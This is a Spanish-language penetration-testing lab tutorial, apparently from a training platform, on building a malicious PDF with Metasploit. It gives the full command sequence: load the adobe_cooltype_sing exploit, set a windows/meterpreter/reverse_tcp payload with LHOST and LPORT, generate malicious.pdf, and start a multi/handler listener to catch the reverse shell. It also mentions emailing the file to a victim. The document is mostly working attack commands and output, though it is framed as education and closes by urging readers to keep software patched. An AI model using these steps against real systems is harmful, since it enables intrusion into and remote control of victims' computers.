Introducción
En este laboratorio, te adentrarás en el mundo de los ataques del lado del cliente creando un archivo PDF malicioso utilizando el Metasploit Framework. Los ataques del lado del cliente se dirigen a vulnerabilidades en aplicaciones en la computadora de un usuario, como navegadores web, reproductores multimedia o visores de documentos.
Los archivos PDF son un vector común para estos ataques porque son ampliamente utilizados y a menudo confiables por los usuarios. Al incrustar código malicioso (un payload) en un PDF aparentemente inofensivo, un atacante puede obtener control sobre el sistema de una víctima cuando el archivo se abre con un lector de PDF vulnerable.
Aprenderás a seleccionar un exploit específico, configurarlo con un payload, generar el archivo malicioso y configurar un listener para manejar la conexión desde el sistema comprometido. Este laboratorio proporciona una comprensión fundamental de cómo se construyen este tipo de ataques.
Seleccionar el módulo exploit/windows/fileformat/adobe_cooltype_sing
En este paso, iniciarás la consola del Metasploit Framework y seleccionarás el módulo de exploit apropiado para crear un PDF malicioso. El Metasploit Framework es una herramienta potente para pruebas de penetración, y su consola, msfconsole, es la interfaz principal para interactuar con él.
Primero, abre una terminal e inicia la consola de Metasploit. Esto puede tardar un momento en inicializarse.
msfconsole -q
La bandera -q suprime el banner para un inicio más rápido. Una vez cargada, verás el prompt msf6 >.
Utilizaremos un exploit que se dirige a una vulnerabilidad conocida en Adobe Reader. El módulo se llama exploit/windows/fileformat/adobe_cooltype_sing. Usa el comando use para cargar este módulo.
use exploit/windows/fileformat/adobe_cooltype_sing
Después de ejecutar el comando, notarás que el prompt del comando cambia para reflejar el módulo actualmente cargado.
msf6 > use exploit/windows/fileformat/adobe_cooltype_sing
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(windows/fileformat/adobe_cooltype_sing) >
Esto confirma que el módulo está ahora activo y listo para su configuración.
Establecer la opción FILENAME para el PDF de salida
En este paso, configurarás las opciones para el módulo de exploit seleccionado. Cada módulo tiene un conjunto de opciones que puedes personalizar. Para ver las opciones disponibles para el módulo actual, usa el comando show options.
show options
Este comando mostrará una tabla de parámetros que puedes configurar, como el nombre del archivo de salida y la configuración del payload.
Module options (exploit/windows/fileformat/adobe_cooltype_sing):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.pdf yes The file name.
...
Payload options (generic/shell_reverse_tcp):
...
Necesitamos establecer la opción FILENAME para especificar el nombre de nuestro archivo PDF malicioso. Lo llamaremos malicious.pdf. Usa el comando set para asignar este valor.
set FILENAME malicious.pdf
Puedes ejecutar show options nuevamente para verificar que FILENAME se ha actualizado correctamente.
FILENAME malicious.pdf yes The file name.
Configurar un payload reverse_tcp con LHOST y LPORT
En este paso, configurarás el payload. Un payload es el código que se ejecutará en el sistema objetivo después de que el exploit sea exitoso. Utilizaremos un payload reverse_tcp, que fuerza a la máquina de la víctima a conectarse de vuelta a nuestra máquina.
Primero, establece el payload a windows/meterpreter/reverse_tcp. Meterpreter es un payload avanzado y dinámicamente extensible que proporciona más características que una shell estándar.
set payload windows/meterpreter/reverse_tcp
A continuación, necesitamos configurar las opciones del payload: LHOST y LPORT.
LHOST: Este es el "Listening Host" (Host de escucha), que es la dirección IP de tu máquina. La máquina de la víctima se conectará a esta IP.LPORT: Este es el "Listening Port" (Puerto de escucha), el puerto en tu máquina que estará escuchando la conexión.
Para encontrar la dirección IP de tu máquina, puedes abrir una nueva pestaña de terminal y ejecutar el comando ip a. Busca la dirección IP asociada con la interfaz eth0.
ip a
Ahora, establece LHOST a tu dirección IP (reemplaza YOUR_IP_ADDRESS con la IP real) y LPORT a un puerto común como 4444.
set LHOST YOUR_IP_ADDRESS
set LPORT 4444
Ejecuta show options una vez más para confirmar que todas las configuraciones son correctas. Deberías ver tu FILENAME, PAYLOAD, LHOST y LPORT configurados.
Generar el archivo PDF malicioso
En este paso, con todas las opciones configuradas, estás listo para generar el archivo PDF malicioso. El comando exploit (o su alias run) ensamblará el exploit y el payload en el archivo final.
Ejecuta el comando exploit en tu ventana de msfconsole.
exploit
Metasploit creará ahora el archivo PDF. La salida mostrará el proceso y, lo más importante, dónde se ha guardado el archivo.
[*] Creating 'malicious.pdf' file...
[+] malicious.pdf stored at /home/labex/.msf4/local/malicious.pdf
El archivo ha sido creado. En un escenario del mundo real, un atacante entregaría este archivo a un objetivo, por ejemplo, como un archivo adjunto de correo electrónico. Puedes verificar su existencia usando el comando ls en una nueva terminal.
ls -l /home/labex/.msf4/local/malicious.pdf
-rw-r--r-- 1 labex labex 12345 Date Time /home/labex/.msf4/local/malicious.pdf
Configurar un handler en msfconsole para capturar la shell
En este paso, configurarás un listener, también conocido como handler, para "capturar" la conexión entrante de la máquina de la víctima cuando se abra el PDF malicioso. Sin un handler, el payload no tiene a dónde conectarse.
Utilizaremos el módulo exploit/multi/handler, que es un listener genérico.
use exploit/multi/handler
Ahora, debes configurar este handler con el mismo payload y las mismas opciones (LHOST y LPORT) que incrustaste en el archivo PDF. Esto es crucial para que la conexión tenga éxito.
set payload windows/meterpreter/reverse_tcp
set LHOST YOUR_IP_ADDRESS
set LPORT 4444
Recuerda reemplazar YOUR_IP_ADDRESS con la dirección IP de tu máquina nuevamente.
Con el handler configurado, ejecútalo usando el comando exploit -j. La bandera -j ejecuta el handler como un trabajo en segundo plano, lo que mantiene tu prompt de msfconsole libre para otros comandos mientras el listener está activo.
exploit -j
Verás una confirmación de que el handler ha comenzado.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on YOUR_IP_ADDRESS:4444
El handler ahora está escuchando una conexión. En este laboratorio, no simularemos que una víctima abra el archivo, pero tu configuración está completa. Has creado con éxito un archivo malicioso y preparado un listener para manejar la reverse shell.
Resumen
En este laboratorio, has completado con éxito los pasos fundamentales para crear un PDF malicioso para un ataque del lado del cliente utilizando el Metasploit Framework.
Aprendiste a:
- Iniciar la consola de Metasploit y seleccionar un módulo de exploit apropiado.
- Configurar opciones de exploit, como el nombre del archivo de salida.
- Seleccionar y configurar un payload (
windows/meterpreter/reverse_tcp) con los parámetros necesariosLHOSTyLPORT. - Generar el archivo PDF malicioso final.
- Configurar y ejecutar un handler (
exploit/multi/handler) para escuchar y capturar la conexión entrante desde un sistema comprometido.
Este ejercicio proporciona una comprensión práctica de la mecánica detrás de un vector de ataque común y resalta la importancia de mantener el software, especialmente los lectores de documentos, actualizado para protegerse contra tales vulnerabilidades.


